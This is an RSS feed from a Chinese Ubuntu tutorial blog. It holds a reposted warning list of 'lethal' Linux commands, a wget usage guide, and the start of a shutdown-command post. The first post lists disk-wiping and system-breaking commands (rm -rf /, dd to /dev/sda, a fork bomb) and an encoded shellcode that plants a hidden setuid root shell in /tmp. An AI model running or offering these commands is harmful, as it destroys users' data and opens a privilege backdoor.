<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ubuntu Home &#187; command</title>
	<atom:link href="http://www.ubuntuhome.com/tag/command/feed" rel="self" type="application/rss+xml" />
	<link>http://www.ubuntuhome.com</link>
	<description>Ubuntu安装&#124;配置&#124;学习教程</description>
	<lastBuildDate>Thu, 13 Oct 2011 16:29:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>13 Linux致命命令</title>
		<link>http://www.ubuntuhome.com/13-linux-command.html</link>
		<comments>http://www.ubuntuhome.com/13-linux-command.html#comments</comments>
		<pubDate>Sat, 05 Dec 2009 01:23:46 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.ubuntuhome.com/?p=909</guid>
		<description><![CDATA[在linuxscrew.com上的一文章，关于Linux下几个致命的命令，可以很轻松的OVER你的计算机。这些命令对于一些Linux的系统管理员来说，也许是非常熟悉了。 1. 以下命令可以很容易把你计算机磁盘上的数据清除掉。 sudo rm -rf / rm -rf .* dd if=/dev/zero of=/dev/sda mkfs.ext3 /dev/hda whatever &#62; /dev/hda cd ~; for x in `ls`; do mv -f $x $y; y=$x; done find -type f -mtime +30 -exec mv {} /dev/null \; mv ~ /dev/null mv / /dev/null 2. 以下命令将引起内核异常: dd if=/dev/random of=/dev/port ){:&#124;:&#38;};: #also known [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-yahe-fonts.html' rel='bookmark' title='Permanent Link: 全自动安装微软雅黑字体- Ubuntu'>全自动安装微软雅黑字体- Ubuntu</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-10-10-maverick-meerkat-alpha-2.html' rel='bookmark' title='Permanent Link: Ubuntu 10.10 Maverick Meerkat Alpha 2 发布'>Ubuntu 10.10 Maverick Meerkat Alpha 2 发布</a></li>
<li><a href='http://www.ubuntuhome.com/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法'>Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-mingli.html' rel='bookmark' title='Permanent Link: Linux 常用命令收集[菜鸟版]'>Linux 常用命令收集[菜鸟版]</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/wget-command.html' rel='bookmark' title='Permanent Link: wget 命令用法详解'>wget 命令用法详解</a></li>
<li><a href='http://www.ubuntuhome.com/linux-shutdown-command.html' rel='bookmark' title='Permanent Link: Linux 关机命令详解'>Linux 关机命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/linux-find-command.html' rel='bookmark' title='Permanent Link: Linux命令行Find小技巧'>Linux命令行Find小技巧</a></li>
<li><a href='http://www.ubuntuhome.com/linux-10-knowledge.html' rel='bookmark' title='Permanent Link: Linux新手要了解的十个知识点'>Linux新手要了解的十个知识点</a></li>
<li><a href='http://www.ubuntuhome.com/what-is-grub.html' rel='bookmark' title='Permanent Link: 什么是 Grub ?'>什么是 Grub ?</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br />在linuxscrew.com上的一文章，关于Linux下几个致命的命令，可以很轻松的OVER你的计算机。这些命令对于一些Linux的系统管理员来说，也许是非常熟悉了。</p>
<p>1. 以下命令可以很容易把你计算机磁盘上的数据清除掉。<span id="more-909"></span></p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p>2. 以下命令将引起内核异常:</p>
<ul>
<li><strong>dd if=/dev/random of=/dev/port</strong></li>
<li><strong> <img src="http://osss.cn/news/wp-includes/images/smilies/icon_sad.gif" alt=":(" /> ){:|:&amp;};:</strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. 这个命令类似“rm -rf /”:</p>
<p><strong>char esp[] __attribute__ ((section(”.text”))) /* e.s.p<br />
release */<br />
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″<br />
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″<br />
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″<br />
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″<br />
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″<br />
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″<br />
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″<br />
“cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;”;</strong></p>
<p>4. 这个命令将预防来自 root 权限执行命令</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>更多的可查看：<a href="http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+linuxscrew+%28Linux+Screw%29&amp;utm_content=Google+Reader#ixzz0YgQeYsRw">http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+linuxscrew+%28Linux+Screw%29&amp;utm_content=Google+Reader#ixzz0YgQeYsRw</a></p>
<p>转自<a href="http://OSSS.CN" target="_blank">OSSS.CN</a>
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/13-linux-command.html" rel="bookmark" title="13 Linux致命命令">13 Linux致命命令</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=909&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-yahe-fonts.html' rel='bookmark' title='Permanent Link: 全自动安装微软雅黑字体- Ubuntu'>全自动安装微软雅黑字体- Ubuntu</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-10-10-maverick-meerkat-alpha-2.html' rel='bookmark' title='Permanent Link: Ubuntu 10.10 Maverick Meerkat Alpha 2 发布'>Ubuntu 10.10 Maverick Meerkat Alpha 2 发布</a></li>
<li><a href='http://www.ubuntuhome.com/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法'>Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-mingli.html' rel='bookmark' title='Permanent Link: Linux 常用命令收集[菜鸟版]'>Linux 常用命令收集[菜鸟版]</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/wget-command.html' rel='bookmark' title='Permanent Link: wget 命令用法详解'>wget 命令用法详解</a></li>
<li><a href='http://www.ubuntuhome.com/linux-shutdown-command.html' rel='bookmark' title='Permanent Link: Linux 关机命令详解'>Linux 关机命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/linux-find-command.html' rel='bookmark' title='Permanent Link: Linux命令行Find小技巧'>Linux命令行Find小技巧</a></li>
<li><a href='http://www.ubuntuhome.com/linux-10-knowledge.html' rel='bookmark' title='Permanent Link: Linux新手要了解的十个知识点'>Linux新手要了解的十个知识点</a></li>
<li><a href='http://www.ubuntuhome.com/what-is-grub.html' rel='bookmark' title='Permanent Link: 什么是 Grub ?'>什么是 Grub ?</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/13-linux-command.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>wget 命令用法详解</title>
		<link>http://www.ubuntuhome.com/wget-command.html</link>
		<comments>http://www.ubuntuhome.com/wget-command.html#comments</comments>
		<pubDate>Thu, 17 Sep 2009 02:38:52 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://www.ubuntuhome.com/?p=571</guid>
		<description><![CDATA[wget是在Linux下开发的开放源代码的软件，作者是Hrvoje Niksic，后来被移植到包括Windows在内的各个平台上。它有以下功能和特点： （1）支持断点下传功能；这一点，也是网络蚂蚁和FlashGet当年最大的卖点，现在，Wget也可以使用此功能，那些网络不是太好的用户可以放心了； （2）同时支持FTP和HTTP下载方式；尽管现在大部分软件可以使用HTTP方式下载，但是，有些时候，仍然需要使用FTP方式下载软件； （3）支持代理服务器；对安全强度很高的系统而言，一般不会将自己的系统直接暴露在互联网上，所以，支持代理是下载软件必须有的功能； （4）设置方便简单；可能，习惯图形界面的用户已经不是太习惯命令行了，但是，命令行在设置上其实有更多的优点，最少，鼠标可以少点很多次，也不要担心是否错点鼠标； （5）程序小，完全免费；程序小可以考虑不计，因为现在的硬盘实在太大了；完全免费就不得不考虑了，即使网络上有很多所谓的免费软件，但是，这些软件的广告却不是我们喜欢的； wget虽然功能强大，但是使用起来还是比较简单的，基本的语法是：wget [参数列表] URL。下面就结合具体的例子来说明一下wget的用法。 1、下载整个http或者ftp站点。 wget http://place.your.url/here 这个命令可以将http://place.your.url/here 首页下载下来。使用-x会强制建立服务器上一模一样的目录，如果使用-nd参数，那么服务器上下载的所有内容都会加到本地当前目录。 wget -r http://place.your.url/here 这 个命令会按照递归的方法，下载服务器上所有的目录和文件，实质就是下载整个网站。这个命令一定要小心使用，因为在下载的时候，被下载网站指向的所有地址同 样会被下载，因此，如果这个网站引用了其他网站，那么被引用的网站也会被下载下来！基于这个原因，这个参数不常用。可以用-l number参数来指定下载的层次。例如只下载两层，那么使用-l 2。 要是您想制作镜像站点，那么可以使用－m参数，例如：wget -m http://place.your.url/here 这时wget会自动判断合适的参数来制作镜像站点。此时，wget会登录到服务器上，读入robots.txt并按robots.txt的规定来执行。 2、断点续传。 当文件特别大或者网络特别慢的时候，往往一个文件还没有下载完，连接就已经被切断，此时就需要断点续传。wget的断点续传是自动的，只需要使用-c参数，例如： wget -c http://the.url.of/incomplete/file 使用断点续传要求服务器支持断点续传。-t参数表示重试次数，例如需要重试100次，那么就写-t 100，如果设成-t 0，那么表示无穷次重试，直到连接成功。-T参数表示超时等待时间，例如-T 120，表示等待120秒连接不上就算超时。 3、批量下载。 如果有多个文件需要下载，那么可以生成一个文件，把每个文件的URL写一行，例如生成文件download.txt，然后用命令：wget -i download.txt 这样就会把download.txt里面列出的每个URL都下载下来。（如果列的是文件就下载文件，如果列的是网站，那么下载首页） 4、选择性的下载。 可以指定让wget只下载一类文件，或者不下载什么文件。例如： wget -m &#8211;reject=gif http://target.web.site/subdirectory 表示下载http://target.web.site/subdirectory，但是忽略gif文件。&#8211;accept=LIST 可以接受的文件类型，&#8211;reject=LIST拒绝接受的文件类型。 5、密码和认证。 wget只能处理利用用户名/密码方式限制访问的网站，可以利用两个参数： &#8211;http-user=USER设置HTTP用户 &#8211;http-passwd=PASS设置HTTP密码 对于需要证书做认证的网站，就只能利用其他下载工具了，例如curl。 6、利用代理服务器进行下载。 [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/wget-tips.html' rel='bookmark' title='Permanent Link: wget 使用技巧'>wget 使用技巧</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-pdf.html' rel='bookmark' title='Permanent Link: Ubuntu PDF编辑工具'>Ubuntu PDF编辑工具</a></li>
<li><a href='http://www.ubuntuhome.com/netbook-ubuntu-touyin.html' rel='bookmark' title='Permanent Link: 笔记本用Ubuntu切换投影的方法'>笔记本用Ubuntu切换投影的方法</a></li>
<li><a href='http://www.ubuntuhome.com/medibuntu-ubuntu-10-10.html' rel='bookmark' title='Permanent Link: Medibuntu支持Ubuntu 10.10了'>Medibuntu支持Ubuntu 10.10了</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-chrome-font.html' rel='bookmark' title='Permanent Link: ubuntu下chrome浏览器百度等网页字体模糊的解决方法'>ubuntu下chrome浏览器百度等网页字体模糊的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-flash-mosaic.html' rel='bookmark' title='Permanent Link: ubuntu flash 中文乱码”马赛克”的解决方法'>ubuntu flash 中文乱码”马赛克”的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/linux-xampp.html' rel='bookmark' title='Permanent Link: Linux 下 Xampp 实现域名绑定到指定目录'>Linux 下 Xampp 实现域名绑定到指定目录</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-forget-password.html' rel='bookmark' title='Permanent Link: Ubuntu 忘记用户名密码的解决方法'>Ubuntu 忘记用户名密码的解决方法</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br />wget是在Linux下开发的开放源代码的软件，作者是Hrvoje Niksic，后来被移植到包括Windows在内的各个平台上。它有以下功能和特点：<br />
（1）支持断点下传功能；这一点，也是网络蚂蚁和FlashGet当年最大的卖点，现在，Wget也可以使用此功能，那些网络不是太好的用户可以放心了；<br />
（2）同时支持FTP和HTTP下载方式；尽管现在大部分软件可以使用HTTP方式下载，但是，有些时候，仍然需要使用FTP方式下载软件；<br />
（3）支持代理服务器；对安全强度很高的系统而言，一般不会将自己的系统直接暴露在互联网上，所以，支持代理是下载软件必须有的功能；<br />
（4）设置方便简单；可能，习惯图形界面的用户已经不是太习惯命令行了，但是，命令行在设置上其实有更多的优点，最少，鼠标可以少点很多次，也不要担心是否错点鼠标；<br />
（5）程序小，完全免费；程序小可以考虑不计，因为现在的硬盘实在太大了；完全免费就不得不考虑了，即使网络上有很多所谓的免费软件，但是，这些软件的广告却不是我们喜欢的；<br />
<span id="more-571"></span><br />
wget虽然功能强大，但是使用起来还是比较简单的，基本的语法是：wget [参数列表] URL。下面就结合具体的例子来说明一下wget的用法。<br />
1、下载整个http或者ftp站点。<br />
wget http://place.your.url/here<br />
这个命令可以将http://place.your.url/here 首页下载下来。使用-x会强制建立服务器上一模一样的目录，如果使用-nd参数，那么服务器上下载的所有内容都会加到本地当前目录。</p>
<p>wget -r http://place.your.url/here<br />
这 个命令会按照递归的方法，下载服务器上所有的目录和文件，实质就是下载整个网站。这个命令一定要小心使用，因为在下载的时候，被下载网站指向的所有地址同 样会被下载，因此，如果这个网站引用了其他网站，那么被引用的网站也会被下载下来！基于这个原因，这个参数不常用。可以用-l number参数来指定下载的层次。例如只下载两层，那么使用-l 2。</p>
<p>要是您想制作镜像站点，那么可以使用－m参数，例如：wget -m http://place.your.url/here<br />
这时wget会自动判断合适的参数来制作镜像站点。此时，wget会登录到服务器上，读入robots.txt并按robots.txt的规定来执行。</p>
<p>2、断点续传。<br />
当文件特别大或者网络特别慢的时候，往往一个文件还没有下载完，连接就已经被切断，此时就需要断点续传。wget的断点续传是自动的，只需要使用-c参数，例如：<br />
wget -c http://the.url.of/incomplete/file<br />
使用断点续传要求服务器支持断点续传。-t参数表示重试次数，例如需要重试100次，那么就写-t 100，如果设成-t 0，那么表示无穷次重试，直到连接成功。-T参数表示超时等待时间，例如-T 120，表示等待120秒连接不上就算超时。</p>
<p>3、批量下载。<br />
如果有多个文件需要下载，那么可以生成一个文件，把每个文件的URL写一行，例如生成文件download.txt，然后用命令：wget -i download.txt<br />
这样就会把download.txt里面列出的每个URL都下载下来。（如果列的是文件就下载文件，如果列的是网站，那么下载首页）</p>
<p>4、选择性的下载。<br />
可以指定让wget只下载一类文件，或者不下载什么文件。例如：<br />
wget -m &#8211;reject=gif http://target.web.site/subdirectory<br />
表示下载http://target.web.site/subdirectory，但是忽略gif文件。&#8211;accept=LIST 可以接受的文件类型，&#8211;reject=LIST拒绝接受的文件类型。</p>
<p>5、密码和认证。<br />
wget只能处理利用用户名/密码方式限制访问的网站，可以利用两个参数：<br />
&#8211;http-user=USER设置HTTP用户<br />
&#8211;http-passwd=PASS设置HTTP密码<br />
对于需要证书做认证的网站，就只能利用其他下载工具了，例如curl。</p>
<p>6、利用代理服务器进行下载。<br />
如果用户的网络需要经过代理服务器，那么可以让wget通过代理服务器进行文件的下载。此时需要在当前用户的目录下创建一个.wgetrc文件。文件中可以设置代理服务器：<br />
http-proxy = 111.111.111.111:8080<br />
ftp-proxy = 111.111.111.111:8080<br />
分别表示http的代理服务器和ftp的代理服务器。如果代理服务器需要密码则使用：<br />
&#8211;proxy-user=USER设置代理用户<br />
&#8211;proxy-passwd=PASS设置代理密码<br />
这两个参数。<br />
使用参数&#8211;proxy=on/off 使用或者关闭代理。<br />
wget还有很多有用的功能，需要用户去挖掘。</p>
<p>附录：</p>
<p>命令格式：<br />
wget [参数列表] [目标软件、网页的网址]</p>
<p>-V,&#8211;version 显示软件版本号然后退出；<br />
-h,&#8211;help显示软件帮助信息；<br />
-e,&#8211;execute=COMMAND 执行一个 “.wgetrc”命令</p>
<p>-o,&#8211;output-file=FILE 将软件输出信息保存到文件；<br />
-a,&#8211;append-output=FILE将软件输出信息追加到文件；<br />
-d,&#8211;debug显示输出信息；<br />
-q,&#8211;quiet 不显示输出信息；<br />
-i,&#8211;input-file=FILE 从文件中取得URL；</p>
<p>-t,&#8211;tries=NUMBER 是否下载次数（0表示无穷次）<br />
-O &#8211;output-document=FILE下载文件保存为别的文件名<br />
-nc, &#8211;no-clobber 不要覆盖已经存在的文件<br />
-N,&#8211;timestamping只下载比本地新的文件<br />
-T,&#8211;timeout=SECONDS 设置超时时间<br />
-Y,&#8211;proxy=on/off 关闭代理</p>
<p>-nd,&#8211;no-directories 不建立目录<br />
-x,&#8211;force-directories 强制建立目录</p>
<p>&#8211;http-user=USER设置HTTP用户<br />
&#8211;http-passwd=PASS设置HTTP密码<br />
&#8211;proxy-user=USER设置代理用户<br />
&#8211;proxy-passwd=PASS设置代理密码</p>
<p>-r,&#8211;recursive 下载整个网站、目录（小心使用）<br />
-l,&#8211;level=NUMBER 下载层次</p>
<p>-A,&#8211;accept=LIST 可以接受的文件类型<br />
-R,&#8211;reject=LIST拒绝接受的文件类型<br />
-D,&#8211;domains=LIST可以接受的域名<br />
&#8211;exclude-domains=LIST拒绝的域名<br />
-L,&#8211;relative 下载关联链接<br />
&#8211;follow-ftp 只下载FTP链接<br />
-H,&#8211;span-hosts 可以下载外面的主机<br />
-I,&#8211;include-directories=LIST允许的目录<br />
-X,&#8211;exclude-directories=LIST 拒绝的目录</p>
<p>中文文档名在平常的情况下会被编码， 但是在 &#8211;cut-dirs 时又是正常的，<br />
wget -r -np -nH &#8211;cut-dirs=3 ftp://host/test/<br />
测试.txt<br />
wget -r -np -nH -nd ftp://host/test/<br />
%B4%FA%B8%D5.txt<br />
wget “ftp://host/test/*”<br />
%B4%FA%B8%D5.txt</p>
<p>由 於不知名的原因，可能是为了避开特殊档名， wget 会自动将抓取档名的部分用 encode_string 处理过， 所以该 patch 就把被 encode_string 处理成 “%3A” 这种东西， 用 decode_string 还原成 “:”，并套用在目录与档案名称的部分，decode_string 是 wget 内建的函式。</p>
<p>wget -t0 -c -nH -x -np -b -m -P /home/sunny/NOD32view/  http://downloads1.kaspersky-labs.com/bases/ -o wget.log</p>
<p>原文地址：<a href="http://linux.blogbus.com/logs/46636997.html">http://linux.blogbus.com/logs/46636997.html</a>
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/wget-command.html" rel="bookmark" title="wget 命令用法详解">wget 命令用法详解</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=571&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/wget-tips.html' rel='bookmark' title='Permanent Link: wget 使用技巧'>wget 使用技巧</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-pdf.html' rel='bookmark' title='Permanent Link: Ubuntu PDF编辑工具'>Ubuntu PDF编辑工具</a></li>
<li><a href='http://www.ubuntuhome.com/netbook-ubuntu-touyin.html' rel='bookmark' title='Permanent Link: 笔记本用Ubuntu切换投影的方法'>笔记本用Ubuntu切换投影的方法</a></li>
<li><a href='http://www.ubuntuhome.com/medibuntu-ubuntu-10-10.html' rel='bookmark' title='Permanent Link: Medibuntu支持Ubuntu 10.10了'>Medibuntu支持Ubuntu 10.10了</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-chrome-font.html' rel='bookmark' title='Permanent Link: ubuntu下chrome浏览器百度等网页字体模糊的解决方法'>ubuntu下chrome浏览器百度等网页字体模糊的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-flash-mosaic.html' rel='bookmark' title='Permanent Link: ubuntu flash 中文乱码”马赛克”的解决方法'>ubuntu flash 中文乱码”马赛克”的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/linux-xampp.html' rel='bookmark' title='Permanent Link: Linux 下 Xampp 实现域名绑定到指定目录'>Linux 下 Xampp 实现域名绑定到指定目录</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-forget-password.html' rel='bookmark' title='Permanent Link: Ubuntu 忘记用户名密码的解决方法'>Ubuntu 忘记用户名密码的解决方法</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/wget-command.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux 关机命令详解</title>
		<link>http://www.ubuntuhome.com/linux-shutdown-command.html</link>
		<comments>http://www.ubuntuhome.com/linux-shutdown-command.html#comments</comments>
		<pubDate>Fri, 04 Sep 2009 22:09:57 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[关机]]></category>

		<guid isPermaLink="false">http://www.ubuntuhome.com/?p=517</guid>
		<description><![CDATA[这篇linux关机命令写的很详细，今天在硬盘里找到的，忘记了出处了，拿出来分享一下吧！ 在linux下一些常用的关机/重启命令有shutdown、halt、reboot、及init，它们都 可以达到重启系统的目的，但每个命令的内部工作过程是不同的，通过本文的介绍，希 望你可以更加灵活的运用各种关机命令。 1.shutdown shutdown命令安全地将系统关机。 有些用户会使用直接断掉电源的方式来关闭linux， 这是十分危险的。因为linux与windows不同，其后台运行着许多进程，所以强制关机可能 会导致进程的数据丢失﹐使系统处于不稳定的状态﹐甚至在有的系统中会损坏硬件设备。 而在系统关机前使用shutdown命令﹐系统管理员会通知所有登录的用户系统将要关闭。 并且login指令会被冻结﹐即新的用户不能再登录。直接关机或者延迟一定的时间才关机 都是可能的﹐还可能重启。这是由所有进程〔process〕都会收到系统所送达的信号〔signal〕 决定的。这让像vi之类的程序有时间储存目前正在编辑的文档﹐而像处理邮件〔mail〕和 新闻〔news〕的程序则可以正常地离开等等。 shutdown执行它的工作是送信号〔signal〕给init程序﹐要求它改变runlevel。 Runlevel 0被用来停机〔halt〕﹐runlevel 6是用来重新激活〔reboot〕系统﹐ 而runlevel 1则是被用来让系统进入管理工作可以进行的状态﹔这是预设的﹐假定没有-h也 没有-r参数给shutdown。要想了解在停机〔halt〕或者重新开机〔reboot〕过程中做了哪些 动作﹐你可以在这个文件/etc/inittab里看到这些runlevels相关的资料。 　　 shutdown 参数说明: 　　 [-t] 在改变到其它runlevel之前﹐告诉init多久以后关机。 　　 [-r] 重启计算器。 　　 [-k] 并不真正关机﹐只是送警告信号给每位登录者〔login〕。 　　 [-h] 关机后关闭电源〔halt〕。 　　 [-n] 不用init﹐而是自己来关机。不鼓励使用这个选项﹐而且该选项所产生的后果往 往不总是你所预期得到的。 　　 [-c] cancel current process取消目前正在执行的关机程序。所以这个选项当然没有 时间参数﹐但是可以输入一个用来解释的讯息﹐而这信息将会送到每位使用者。 　　 [-f] 在重启计算器〔reboot〕时忽略fsck。 [-F] 在重启计算器〔reboot〕时强迫fsck。 　　 [-time] 设定关机〔shutdown〕前的时间。 [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/command-ubuntu-shutdown.html' rel='bookmark' title='Permanent Link: 用命令让Ubuntu定时自动关机'>用命令让Ubuntu定时自动关机</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-mingli.html' rel='bookmark' title='Permanent Link: Linux 常用命令收集[菜鸟版]'>Linux 常用命令收集[菜鸟版]</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/1119.html' rel='bookmark' title='Permanent Link: Linux 版 Chrome 即将支持 Linux 的系统密码管理系统'>Linux 版 Chrome 即将支持 Linux 的系统密码管理系统</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-kill-command.html' rel='bookmark' title='Permanent Link: Ubuntu kill命令用法详解'>Ubuntu kill命令用法详解</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-dir.html' rel='bookmark' title='Permanent Link: Linux/ubuntu目录解释'>Linux/ubuntu目录解释</a></li>
<li><a href='http://www.ubuntuhome.com/linuxubuntu-sudo.html' rel='bookmark' title='Permanent Link: Linux/Ubuntu sudo命令详解使用格式和方法'>Linux/Ubuntu sudo命令详解使用格式和方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-boot-opne-numlock.html' rel='bookmark' title='Permanent Link: ubuntu 开机自动开启数字小键盘'>ubuntu 开机自动开启数字小键盘</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-quick-key.html' rel='bookmark' title='Permanent Link: Linux/ubuntu常用快捷键大集合'>Linux/ubuntu常用快捷键大集合</a></li>
<li><a href='http://www.ubuntuhome.com/linux-kernel-2-6-32.html' rel='bookmark' title='Permanent Link: Linux Kernel 2.6.32 发布'>Linux Kernel 2.6.32 发布</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
